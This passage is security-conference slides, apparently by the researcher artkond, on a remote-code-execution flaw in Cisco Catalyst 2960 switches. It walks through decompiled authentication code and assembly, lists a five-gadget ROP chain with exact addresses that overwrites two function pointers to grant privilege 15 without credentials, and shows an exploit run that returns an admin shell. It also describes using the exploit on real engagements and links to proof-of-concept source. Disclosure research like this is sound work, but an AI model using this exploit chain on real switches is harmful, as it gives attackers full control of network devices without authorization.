    telnet_struct_1 = tty_struct_var->telnet_struct_field;
    ptr_telnet_related2 = (void (__fastcall *)(int))some_libc_func(1u, (unsigned int *)&dword_22659D4[101487]);
    ptr_telnet_related2(telnet_struct_1);
    *((DWORD *)&tty_struct_var->privilege_level_field = ((privilege_level << 28) & 0xF0000000 | *((DWORD *)&tty_;
} else
```
More static analysis

• A couple of hours (days?) later...

```c
if ( ptr_is_cluster_mode(tty_struct_var->telnet_struct_field) )
```
More static analysis

- A couple of hours (days?) later...

```
ptr_get_privilege_level = (int (__fastcall *)(int))some_libc_func(0, (unsigned int *)&dword_2265904[10148])
privilege_level = ptr_get_privilege_level(telnet struct var); // equals to 1 during rcommand 1
```
Long story short

- Both is_cluster_mode and get_privilege_level are reference indirectly
- This means a memory pointer is dereferenced containing the actual function address
- We can apply our write-primitives to change this pointer to something we like
But why are these functions important?

If `is_cluster_mode mode` returns a non-zero value then the decision to present a user with shell is only based on privilege level.
Indirect function calls
Got privileges? No creds required

```assembly
.loc_F47FF4: # CODE XREF: exec_creation+5B0:
    lis   r9, dword_1F230B00ha
    lwz   r0, dword_1F230B00l(r9)
    subfc r9, r0, 0
    adde  r0, r9, r0
    addic r10, r11, -1
    subfe r9, r10, r11
    or.   r11, r0, r9
    beq   present_with_shell
    lwz   r0, 0x18C(r31)
    andi. r9, r0, 0x40
    bne   present_with_shell
    cmpwi cr7, r19, -1 # r19 (privilege level) == -1 ?
    bne+  cr7, present_with_shell
    mr    r3, r31
    bl    user_access_verification
    cmpwi cr7, r3, 0
    bne+  cr7, present_with_shell
```
Got privileges? No creds required

cmpwi cr7, r19, -1  # r19 (privilege level) == -1 ?
bne+ cr7, present_with_shell
mr r3, r31
bl user_access_verification
cmpwi cr7, r3, 0
bne+ cr7, present_with_shell
Finish him!

- We will overwrite the pointer to `is_cluster_mode` with a function that always returns 1
- We will overwrite the pointer to `get_privilege_level` with a function that always returns 15

The only thing left is to find suitable gadgets for this
1st gadget

0x000037b4:
  lwz r0, 0x14(r1)
  mtlr r0
  lwz r30, 8(r1)
  lwz r31, 0xc(r1)
  addi r1, r1, 0x10
  blr

1. Put ret address into r0
2. Load data pointed by r1+8 into r30 (is_cluster_mode func pointer)
3. Load data pointed by r1+0xc into r31 (address of “ret 1” function)
4. Add 0x10 to stack pointer
5. BLR! We jump to the next gadget
2nd gadget

0x00dffbe8:

```
stw r31, 0x34(r30)

lwz r0, 0x14(r1)

mtlr r0

lmw r30, 8(r1)

addi r1, r1, 0x10

blr
```

1. Write r31 contents to memory pointer by r30+ 0x34
2. Move next gadget’s address into r0
3. Junk code
4. Shift stack by 0x10 bytes
5. BLR! Jump to the next gadget
3rd, 4th and 5th gadgets

0x0006788c: 
    lwz r9, 8(r1)
    lwz r3, 0x2c(r9)
    lwz r0, 0x14(r1)
    mtlr r0
    addi r1, r1, 0x10
    blr

0x006ba128: 
    lwz r31, 8(r1)
    lwz r30, 0xc(r1)
    addi r1, r1, 0x10
    mtlr r0
    blr

0x0148e560: 
    stw r31, 0(r3)
    lwz r0, 0x14(r1)
    mtlr r0
    addi r1, r1, 0x10
    blr

1. \( r3 = *(0x2c + *(r1+8)) \) – address of pointer to get_privilege_level func
2. \( R31 = *(r1 + 8) – r31 \) contents address of function that always return 15
3. Overwrite the pointer
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+ ] Connection OK
[+ ] Received bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+ ] Sending cluster option
[+ ] Setting credless privilege 15 authentication
[+ ] All done

$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15
Demo time!
Side notes

• These switch models are common on pentests
• Successfully exploited this vulnerability on real life engagements:
  • Leak firmware version via SNMP or CDP
  • Customize exploit for the exact version
  • Enjoy your shell
Further research

- Shellcode reliability for multiple firmware versions
- Automating the search for suitable ROP gadgets
- Finding a way execute arbitrary PPC instructions instead of arbitrary memory writes
Stuff to think about

• We know that switches find neighbors suitable for clustering using CDP protocol
• We know that there might be no authentication in place
• We know that the master switch is able to fully control the slave via a privilege 15 shell
What if...

• We are in the same broadcast segment as the target switch
• We craft the necessary CDP packets so the target switch considers us a candidate for clustering
• We make an L2 telnet connection asking for a shell simulating the cluster “rcommand”
Will this work?

• Remains to be seen
• Ongoing research
Thanks!

Check PoC source at: https://github.com/artkond/cisco-rce

@artkond
artkond.com